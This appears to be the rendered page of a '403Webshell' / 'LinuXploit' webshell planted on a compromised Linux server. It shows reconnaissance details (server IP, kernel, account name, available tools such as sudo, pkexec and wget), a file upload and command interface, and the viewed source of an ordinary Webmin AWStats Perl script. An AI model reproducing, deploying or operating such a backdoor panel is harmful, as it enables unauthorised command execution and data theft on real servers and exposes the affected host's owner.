403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/virtualmin-awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/virtualmin-awstats/view.cgi
#!/usr/bin/perl
# Run AWStats to show the stats for some domain
use strict;
use warnings;
our (%text, %in, %config);

require './virtualmin-awstats-lib.pl';
&ReadParse();
$in{'config'} =~ s/\0.*$//g;
&can_domain($in{'config'}) || &error($text{'view_ecannot'});
my $conf = &get_config($in{'config'});
my $prog = &find_value("WrapperScript", $conf);
$prog ||= "awstats.pl";
my $icons = &find_value("DirIcons", $conf);

$ENV{'SERVER_NAME'} = $in{'config'};
$ENV{'GATEWAY_INTERFACE'} = "CGI";
no strict "subs"; # XXX Lexical?
&open_execute_command(AWSTATS, $config{'awstats'}, 1, 1);
while(<AWSTATS>) {
	# Replace references to awstats.pl with links to this CGI
	s/$prog/view.cgi/g;
	if (!/view.cgi\?config=/) {
                if (/\&amp;/) {
                        s/view.cgi\?/view.cgi?config=$in{'config'}\&amp;/g ||
                          s/view.cgi/view.cgi?config=$in{'config'}/g;
                        }
                else {
                        s/view.cgi\?/view.cgi?config=$in{'config'}\&/g ||
                          s/view.cgi/view.cgi?config=$in{'config'}/g;
                        }
		}

	# Replace references to icons with icon getter CGI
	s/$icons(\/\S+\.(gif|png|jpg))/icon.cgi$1?config=$in{'config'}/ig;

	print;
	}
close(AWSTATS);
use strict "subs";

Youez - 2016 - github.com/yon3zu
LinuXploit